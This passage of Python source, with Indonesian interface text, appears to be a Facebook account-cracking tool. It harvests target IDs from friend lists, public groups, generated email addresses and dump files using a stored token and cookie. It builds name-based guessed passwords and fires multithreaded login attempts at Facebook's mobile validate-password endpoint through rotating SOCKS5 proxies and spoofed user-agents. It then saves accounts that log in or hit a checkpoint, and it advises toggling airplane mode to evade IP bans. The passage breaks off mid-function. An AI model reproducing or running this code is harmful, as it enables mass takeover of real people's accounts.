  445.                 if cih<10:
  446.                     nom = '0'+str(cih)
  447.                     lol.update({str(cih):str(isi)})
  448.                     lol.update({nom:str(isi)})
  449.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  450.                 else:
  451.                     lol.update({str(cih):str(isi)})
  452.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  453.             geeh = input('└── [+] Pilih : ')
  454.             try:geh = lol[geeh]
  455.             except KeyError:
  456.                 print('└── [+] Pilih Yang Bener Kontol ')
  457.                 exit()
  458.             try:lin = open('CP/'+geh,'r').read().splitlines()
  459.             except:
  460.                 print('└── [+] File Tidak Di Temukan ')
  461.                 time.sleep(4)
  462.                 back()
  463.             nocp=0
  464.             for cpku in range(len(lin)):
  465.                 cpkuni=lin[nocp].split('|')
  466.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  467.                 sol().print(mark(cpkuh,style="yellow"))
  468.                 nocp +=1
  469.             input('[ Klik Enter ]')
  470.             back()
  471.     elif kz in ['1','01']:
  472.         try:vin = os.listdir('OK')
  473.         except FileNotFoundError:
  474.             print('└── [+] File Tidak Di Temukan ')
  475.             time.sleep(4)
  476.             back()
  477.         if len(vin)==0:
  478.             print('└── [+] Anda Tidak Mempunyai File OK ')
  479.             time.sleep(4)
  480.             back()
  481.         else:
  482.             cih = 0
  483.             lol = {}
  484.             for isi in vin:
  485.                 try:hem = open('OK/'+isi,'r').readlines()
  486.                 except:continue
  487.                 cih+=1
  488.                 if cih<80:
  489.                     nom = '0'+str(cih)
  490.                     lol.update({str(cih):str(isi)})
  491.                     lol.update({nom:str(isi)})
  492.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  493.                 else:
  494.                     lol.update({str(cih):str(isi)})
  495.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  496.             geeh = input('└── [+] Pilih : ')
  497.             try:geh = lol[geeh]
  498.             except KeyError:
  499.                 print('└── [+] Pilih Yang Bener Kontol ')
  500.                 exit()
  501.             try:lin = open('OK/'+geh,'r').read().splitlines()
  502.             except:
  503.                 print('└── [+] File Tidak Di Temukan ')
  504.                 time.sleep(4)
  505.                 back()
  506.             nocp=0
  507.             for cpku in range(len(lin)):
  508.                 cpkuni=lin[nocp].split('|')
  509.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  510.                 sol().print(mark(cpkuh,style="green"))
  511.                 print(f'{hh}User-Agent : {x}{cpkuni[2]}')
  512.                 nocp +=1
  513.             input('[ Klik Enter ]')
  514.             back()
  515.     else:
  516.         print('└── [+] Pilih Yang Bener Kontol ')
  517.         exit()
  518.  
  519. #-----------------[ CRACK PUBLIK ]-----------------#
  520. def crack_publik():
  521.     try:
  522.         token = open('.token.txt','r').read()
  523.         kukis = open('.cok.txt','r').read()
  524.     except IOError:
  525.         exit()
  526.     cetak(panel('\t            [bold white]Ketik [bold green]Me[/] Jika Ingin Crack Pertemanan Sendiri',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CRACK PUBLICK [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  527.     pil = input(f'└── [+] Masukan ID Target : ')
  528.     try:
  529.         koH = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
  530.         for pi in koH['friends']['data']:
  531.             try:id.append(pi['id']+'|'+pi['name'])
  532.             except:continue
  533.         print(f'└── [+] Total ID Yang Terkumpul : {h}'+str(len(id)))
  534.         setting()
  535.     except requests.exceptions.ConnectionError:
  536.         print('└── [+] Internet Lu Gak Ada Anjing')
  537.         exit()
  538.     except (KeyError,IOError):
  539.         print('└── [+] Pertemanan Tidak Publick Atau Cookie And Token Anda Busuk')
  540.         exit()
  541.  
  542. #-----------------[ CRACK GRUP ]-----------------#
  543. def crack_group():
  544.     try:
  545.         token = open('.token.txt','r').read()
  546.         cokies = open('.cok.txt','r').read()
  547.     except IOError:
  548.         print('└── [+] Cookies Kadaluarsa ')
  549.         time.sleep(5)
  550.         login()
  551.     cetak(nel('   [bold white]Pastikan Idz Grup Bersifat Publik , Mohon Bersabar Dump Id Grup Sangat Lambat',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CRACK GROUP [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  552.     url = input(f'└── [+] Masukan Id Group : ')
  553.     kocak("https://mbasic.facebook.com/groups/"+url,cokies);setting()
  554.  
  555. def kocak(url,cokies):
  556.     data = parser(ses.get(url,cookies={"cookie": cokies}).text, "html.parser")
  557.     judul = re.findall("<title>(.*?)</title>",str(data))[0]
  558.     if str(judul) == 'Use basic mode':
  559.         print('\n└── [+] Cokies Berada Dalam Mode Free');exit()
  560.     if str(judul) == 'Epsilon':
  561.         print('\n└── [+] Cokies Tidak Dpt Mengakses Grup');exit()
  562.     if str(judul) == 'Kesalahan':
  563.         print('\n└── [+] Cokies Yg Anda Masukan Salah');exit()
  564.     if str(judul) == 'Masuk Facebook' or str(judul) == 'Masuk Facebook | Facebook' or str(judul) == 'Masuk ke Facebook' or str(judul) == 'Log in to Facebook':
  565.         print('\n└── [+] Cokies Mokad');exit()
  566.     else:
  567.         for isi in data.find_all("h3"):
  568.             for ids in isi.find_all("a",href=True):
  569.                 if "profile.php" in ids.get("href"):uid = ids.get("href").split("=")[1].replace("&eav","");nama = ids.text
  570.                 else:
  571.                     if ids.text==judul:pass
  572.                     else:uid = ids.get("href").split("/")[1].split("?")[0];nama = ids.text
  573.                 if uid+"|"+nama in id:pass
  574.                 else:id.append(uid+"|"+nama)
  575.                 print('\r└── [+]Mengumpulkan %s Id'%(len(id)),end='')
  576.         for x in data.find_all("a",href=True):
  577.             if "Lihat Postingan Lainnya" in x.text:
  578.                 kocak("https://mbasic.facebook.com"+x.get("href"),cokies)
  579.                                
  580. #-----------------[ CRACK EMAIL ]-----------------#
  581. def crack_email():
  582.     rc = random.choice
  583.     rr = random.randint
  584.     xc = ['andi','dwi','muhammad','nur','dewi','tri','dian','sri','putri','eka','sari','aditya','basuki','budi','joni','toni','cahya','riski','farhan','aden','joko']
  585.     blk = ['99','official','gaming','utama','123','1234','12345','123456','cakep']
  586.     global ok , cp
  587.     cetak(nel(f'[bold white]Masukan Satu Nama Email Yang Ingin Di Crack, Contoh : Rahmadani, Aprilia',width=87,padding=(0,5),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CRACK USERNAME [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  588.     nama = console.input(f'└── [+] Masukan Nama : ')
  589.     if ',' in str(nama):
  590.         print(f"└── [+] Masukan Nama, Jangan Kosong Ngab")
  591.         time.sleep(3);exit()
  592.     cetak(nel(f'[bold white]Masukan Satu Nama Domain , Contoh : @gmail.com, @yahoo.com, Dll',width=87,padding=(0,10),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] MENU DOMAIN [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  593.     doma = console.input(f'└── [+] Masukan Nama Domain : ')
  594.     if '@' not in str(doma) or '.com' not in str(doma):
  595.         print(f"└── [+] Masukan Domain Dengan Benar")
  596.         time.sleep(3);exit()
  597.     cetak(nel(f'[bold white]Max Dump 10000 idz, Disarankan Menggunakan Metode Asyinc And Reguler',width=87,padding=(0,8),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] INFORMASI [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  598.     jumlah = console.input(f'└── [+] Total Dump : ')
  599.     for xyz in range(int(jumlah)):
  600.         A = nama
  601.         B = [f'{str(rc(xc))}',f'{str(rr(0,31))}',f'{str(rc(blk))}'f'{str(rc(xc))}{str(rr(0,31))}',f'{xyz}',f'{str(rc(blk))}{str(rr(0,31))}',f'{str(rc(xc))}{str(rc(blk))}']
  602.         C = doma
  603.         D = f'{A}{str(rc(B))}{C}'
  604.         if D in id:pass
  605.         else:id.append(D+'|'+nama)
  606.         if len(dump)==999999:setting()
  607.         sys.stdout.write(f"\r└── [+] Mengumpulkan {len(id)} Idz...");sys.stdout.flush()
  608.         time.sleep(0.0000003)
  609.     print("\r")
  610.     setting()  
  611.    
  612. #-----------------[ CRACK FILE ]-----------------#
  613. def crack_file():
  614.     try:vin = os.listdir('/sdcard/DUMP-FILE/')
  615.     except FileNotFoundError:
  616.         print(f'└── [+] File Tidak Ditemukan ')
  617.         time.sleep(2)
  618.         back()
  619.     if len(vin)==0:
  620.         print(f'└── [+] Kamu Tidak Memiliki File Dump ')
  621.         time.sleep(2)
  622.         back()
  623.     else:
  624.         cih = 0
  625.         lol = {}
  626.         for isi in vin:
  627.             try:hem = open('/sdcard/DUMP-FILE/'+isi,'r').readlines()
  628.             except:continue
  629.             cih+=1
  630.             if cih<100:
  631.                 nom = ''+str(cih)
  632.                 lol.update({str(cih):str(isi)})
  633.                 lol.update({nom:str(isi)})
  634.                 cetak(panel(f'[bold white][[bold cyan]0%s[bold white]] %s [bold yellow]([bold green]%s idz[bold yellow])'%(nom,isi,len(hem)),width=40,style=f"{color_panel}"))
  635.             else:
  636.                 lol.update({str(cih):str(isi)})
  637.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  638.                 cetak(panel(f'[bold white][[bold cyan]0%s[bold white]] %s [bold yellow]([bold green]%s idz[bold yellow])'%(cih,isi,len(hem)),width=40,style=f"{color_panel}"))
  639.         hooh = input(f"└── [+] Pilih : ")
  640.         try:cuk = lol[hooh]
  641.         except KeyError:
  642.             print(f'└── [+] Pilih Yang Bener Kontol ')
  643.             time.sleep(3)
  644.             back()
  645.         try:lin = open('/sdcard/DUMP-FILE/'+cuk,'r').read().splitlines()
  646.         except:
  647.             print(f'└── [+] File Tidak Ditemukan, Coba Lagi Nanti ')
  648.             time.sleep(2)
  649.             back()
  650.         for idz in lin:
  651.             id.append(idz)
  652.         setting()
  653.        
  654. #-------------------[ CRACK-PUBLIK ]----------------#
  655. def crack_masal():
  656.     try:
  657.         token = open('.token.txt','r').read()
  658.         cok = open('.cok.txt','r').read()
  659.     except IOError:
  660.         exit()
  661.     try:
  662.         jum = int(input(f'└── [+] Berapa Target {x} : '))
  663.     except ValueError:
  664.         print('└── [+] Wrong input ')
  665.         exit()
  666.     if jum<1 or jum>80:
  667.         print(f'└── [+] Friendship Not Public  ')
  668.         exit()
  669.     ses=requests.Session()
  670.     yz = 0
  671.     for met in range(jum):
  672.         yz+=1
  673.         kl = input(f'└── [+] Masukan Id Ke'+str(yz)+' : ')
  674.         uid.append(kl)
  675.     for userr in uid:
  676.         try:
  677.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  678.             for mi in col['friends']['data']:
  679.                 try:
  680.                     iso = (mi['id']+'|'+mi['name'])
  681.                     if iso in id:pass
  682.                     else:id.append(iso)
  683.                 except:continue
  684.         except (KeyError,IOError):
  685.             pass
  686.         except requests.exceptions.ConnectionError:
  687.             print('└── [+] Unstable Signal ')
  688.             exit()
  689.     try:
  690.         print(f'└── [+] Total Id Terkumpul{x} : {h}'+str(len(id)))
  691.         setting()
  692.     except requests.exceptions.ConnectionError:
  693.         print('└── [+] Unstable Signal ')
  694.         back()
  695.     except (KeyError,IOError):
  696.         print(f'└── [+] Friendship Not Public {x}')
  697.         time.sleep(3)
  698.         back()
  699.        
  700. #-------------[ PENGATURAN-IDZ ]---------------#
  701. def setting():
  702.     cetak(panel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]Idz Old Ke New    [bold white][[bold red]No Recomend[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]Idz New Ke Old    [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]Idz Random        [bold white][[bold green]Vr Recomend[/][bold white]][/] [bold green][bold white] ',width=87,padding=(0,24),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] MENU IDZ [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  703.     hu = input(f'└── [+] Pilih Urutan Idz : ')
  704.     if hu in ['1','01']:
  705.         for tua in sorted(id):
  706.             id2.append(tua)
  707.     elif hu in ['3','03']:
  708.         muda=[]
  709.         for bacot in sorted(id):
  710.             muda.append(bacot)
  711.         bcm=len(muda)
  712.         bcmi=(bcm-1)
  713.         for xmud in range(bcm):
  714.             id2.append(muda[bcmi])
  715.             bcmi -=1
  716.     elif hu in ['2','02']:
  717.         for bacot in id:
  718.             xx = random.randint(0,len(id2))
  719.             id2.insert(xx,bacot)
  720.     else:
  721.         print(f'└── [+] Pilih Yang Bener Kontooll ')
  722.         exit()
  723.     urut = []
  724.     urut.append(panel(f'[bold white][[bold cyan]01[/][bold white]][/] [bold white]Mobile V1    [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]02[/][bold white]][/] [bold white]Mobile V2    [bold white][[bold red]Note Update[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]03[/][bold white]][/] [bold white]Mbasic V1    [bold white][[bold red]Note Update[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]04[/][bold white]][/] [bold white]Mbasic V2    [bold white][[bold red]Note Update[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]05[/][bold white]][/] [bold whitr]Free   V1    [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]06[/][bold white]][/] [bold white]Free   V2    [bold white][[bold red]Note Update[/][bold white]][/] [bold green][bold white] ',width=43,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] VALIDATE [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  725.     urut.append(panel(f'[bold white][[bold cyan]07[/][bold white]][/] [bold white]Mobile V1    [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]08[/][bold white]][/] [bold white]Mobile V2    [bold white][[bold red]Note Update[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]09[/][bold white]][/] [bold white]Mobile V3    [bold white][[bold red]Note Update[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]10[/][bold white]][/] [bold white]M Latest     [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]11[/][bold white]][/] [bold white]Free   V1    [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]12[/][bold white]][/] [bold white]Free   V2    [bold white][[bold red]Note Update[/][bold white]][/] [bold green][bold white] ',width=43,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] REGULER [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  726.     console.print(Columns(urut))
  727.     cetak(panel(f'[bold white][[bold cyan]13[/][bold white]][/] [bold white]asyinc.facebook.com   [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]14[/][bold white]][/] [bold white]m.beta.facebook.com   [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]15[/][bold white]][/] [bold white]graph.facebook        [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]16[/][bold white]][/] [bold white]d.facebook.com        [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] [/]\n[bold white][[bold cyan]17[/][bold white]][/] [bold white]m.alpha.facebook.com  [bold white][[bold green]Recommended[/][bold white]][/] [bold green][bold white] ',width=87,padding=(0,20),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] RANDOM [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  728.     jancok = input(f'└── [+] Pilih Menu Metode : ')
  729.     if jancok in ['1','01']:
  730.         method.append('validate1')
  731.     elif jancok in ['2','02']:
  732.         print(f'└── [+] Maaf 🙏 Fitur Ini Masih Di Perbaiki ');back()
  733.         method.append('validate2')
  734.     elif jancok in ['3','03']:
  735.         method.append('validate3')
  736.     elif jancok in ['4','04']:
  737.         print(f'└── [+] Maaf 🙏 Fitur Ini Masih Di Perbaiki ');back()
  738.         method.append('validate4')
  739.     elif jancok in ['5','05']:
  740.         method.append('validate5')
  741.     elif jancok in ['6','06']:
  742.         print(f'└── [+] Maaf 🙏 Fitur Ini Masih Di Perbaiki ');back()
  743.         method.append('validate6')
  744.     elif jancok in ['7','07']:
  745.         method.append('reguler1')
  746.     elif jancok in ['8','08']:
  747.         print(f'└── [+] Maaf 🙏 Fitur Ini Masih Di Perbaiki ');back()
  748.         method.append('reguler2')
  749.     elif jancok in ['9','09']:
  750.         print(f'└── [+] Maaf 🙏 Fitur Ini Masih Di Perbaiki ');back()
  751.         method.append('reguler3')
  752.     elif jancok in ['10']:
  753.         method.append('reguler4')
  754.     elif jancok in ['11']:
  755.         method.append('reguler5')
  756.     elif jancok in ['12']:
  757.         print(f'└── [+] Maaf 🙏 Fitur Ini Masih Di Perbaiki ');back()
  758.         method.append('reguler6')
  759.     elif jancok in ['13']:
  760.         method.append('metode1')
  761.     elif jancok in ['14']:
  762.         method.append('metode2')
  763.     elif jancok in ['15']:
  764.         method.append('metode3')
  765.     elif jancok in ['16']:
  766.         method.append('metode4')
  767.     elif jancok in ['17']:
  768.         method.append('metode5')
  769.     else:
  770.         method.append('validate1')
  771.         back()
  772.        
  773.     cetak(panel('''[bold white][[bold cyan]01[bold white]] [bold white]Menggunakan Pw V1 [[bold green]Version Slow[bold white]]
  774. [bold white][[bold cyan]02[bold white]] [bold white]Menggunakan Pw V2 [[bold green]Version fash[bold white]][bold white]
  775. [bold white][[bold cyan]03[bold white]] [bold white]Menggunakan Pw V3 [[bold green]V2 & Manuall[bold white]][bold white]''',width=87,padding=(0,24),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] MENU PASSWORD [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  776.     pwplus=input(f'└── [+] Pilih Sandi : ')
  777.     if pwplus in ['03','3']:
  778.         pwpluss.append('ya')
  779.         pwku=input(f'└── [+] Sandi : ')
  780.         pwkuh=pwku.split(',')
  781.         for xpw in pwkuh:
  782.             pwnya.append(xpw)
  783.     else:
  784.         pwpluss.append('no')
  785.    
  786.     cetak(panel(f'      [bold white]Apakah Anda Ingin Menampilkan Aplikasi Yang Terkait Di Dalam Akun ? Y/T',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CHECK APK [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  787.     _brayen_ = input(f'└── [+] Pilih : ')
  788.     if _brayen_ in ['']:
  789.         print('└── [+] Pilih Yang Bener Kontol ')
  790.         exit()
  791.     elif _brayen_ in ['y','Y']:
  792.         taplikasi.append('ya')
  793.     else:
  794.         taplikasi.append('no')
  795.        
  796.     cetak(panel(f'      [bold white]Apakah Anda Ingin Menampilkan Opsi Checkpoint Di Dalam Akun ? Y/T',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CHECK OPSI [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  797.     _brayen_ = input('└── [+] Pilih : ')
  798.     if _brayen_ in ['']:
  799.         print('└── [+] Pilih Yang Bener Kontol ')
  800.         exit()
  801.     elif _brayen_ in ['y','Y']:
  802.         gabriel.append('ya')
  803.     else:
  804.         gabriel.append('no')
  805.    
  806.     cetak(panel(f'[bold white]    Apakah Ingin Mengunakan User-Agent Manual Untuk Melakukan Crack Account ? Y/T',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] UGENT MANUAL [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  807.     uatambah = input(f'└── [+] Pilih : ')
  808.     if uatambah in ['y','Ya','ya','Y']:
  809.         ualuh.append('ya')
  810.         bzer = input(f'└── [+] Masukan User-Agent : ')
  811.         ualu.append(bzer)
  812.     else:
  813.         ualuh.append('tidak')
  814.     passwrd()
  815.    
  816. #-------------------[ BAGIAN-WORDLIST ]------------#
  817. def passwrd():
  818.     global prog,des
  819.     urut = []
  820.     urut.append(panel(f'        [bold green]%s [bold white]'%(okc),width=43,title=f"[bold red]★[bold yellow]★[bold green]★[bold green] OK SAVE IN [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  821.     urut.append(panel(f'         [bold yellow]%s [bold white]'%(cpc),width=43,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] CP SAVE IN [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  822.     wa.print(Columns(urut))
  823.     cetak(panel(f'[bold white]     Mainkan Mode Pesawat Setiap 400 Idz, Agar Tidak Terkena Dampak Spam Ip 😱   ',width=87,title=f"[bold red]★[bold yellow]★[bold green]★[bold red] WARNING [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  824.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  825.     des = prog.add_task('',total=len(id2))
  826.     with prog:
  827.         with tred(max_workers=30) as pool:
  828.             for yuzong in id2:
  829.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  830.                 frs = nmf.split(" ")[0]
  831.                 pwv = []
  832.                 if len(nmf)<6:
  833.                     if len(frs)<3:
  834.                         pass
  835.                     else:
  836.                         pwv.append(frs+'123')
  837.                         pwv.append(frs+'1234')
  838.                         pwv.append(frs+'12345')
  839.                 else:
  840.                     if len(frs)<3:
  841.                         pwv.append(nmf)
  842.                     else:
  843.                         pwv.append(nmf)
  844.                         pwv.append(frs+'123')
  845.                         pwv.append(frs+'1234')
  846.                         pwv.append(frs+'12345')
  847.                 if 'ya' in pwpluss:
  848.                     for xpwd in pwnya:
  849.                         pwv.append(xpwd)
  850.                 else:pass
  851.                 if 'validate1' in method:
  852.                     pool.submit(metod1,idf,pwv)
  853.                 elif 'validate5' in method:
  854.                     pool.submit(metod5,idf,pwv)
  855.                 elif 'reguler1' in method:
  856.                     pool.submit(metod7,idf,pwv)
  857.                 elif 'reguler4' in method:
  858.                     pool.submit(metod10,idf,pwv)
  859.                 elif 'reguler5' in method:
  860.                     pool.submit(metod11,idf,pwv)
  861.                 elif 'metode1' in method:
  862.                     pool.submit(metod13,idf,pwv)
  863.                 elif 'metode2' in method:
  864.                     pool.submit(metod14,idf,pwv)
  865.                 elif 'metode3' in method:
  866.                     pool.submit(metod15,idf,pwv)
  867.                 elif 'metode4' in method:
  868.                     pool.submit(metod16,idf,pwv)
  869.                 elif 'metode5' in method:
  870.                     pool.submit(metod17,idf,pwv)
  871.                 else:
  872.                     pool.submit(metod1,idf,pwv)
  873.     cetak(panel(f'[bold white]            Crack Telah Selesai Semoga Anda Bersyukur Dengan Hasilnya 🙂  ',width=87,style=f"{color_panel}"))
  874.     cetak(panel(f'[bold white]Kalo Gak Bisa Login/Kata Sandi Salah Gw Saranin Login Pekek Cookies, Cookies Otomatis Ke Simpam Di Internal Folder Ok, Login Cookiesnya Lewat Kiwi/Fb Lite Plus , Udah Itu Aja Semoga Bermanfaat 🙂  ',width=87,title=f"[bold red]WARNING",style=f"{color_panel}"))
  875.     print(f'{K}└── [+] {P}OK : {H}{ok} ')
  876.     print(f'{K}└── [+] {P}CP : {K}{cp} ')
  877.    
  878. #--------------------[ METODE VALIDATE ]-----------------#
  879. def metod1(idf,pwv):
  880.     global loop,ok,cp
  881.     prog.update(des,description=f"[bold green]Mobile V1[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  882.     prog.advance(des)
  883.     ua = random.choice(ugen)
  884.     ua2 = random.choice(ugen2)
  885.     ses = requests.Session()
  886.     for pw in pwv:
  887.         try:
  888.             if 'ya' in ualuh: ua = ualu[0]
  889.             nip=random.choice(prox)
  890.             proxs= {'http': 'socks5://'+nip}
  891.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  892.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  893.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  894.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  895.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  896.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  897.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  898.             if "checkpoint" in po.cookies.get_dict().keys():           
  899.            
  900.                 if 'no' in gabriel:
  901.                     cp+=1
  902.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
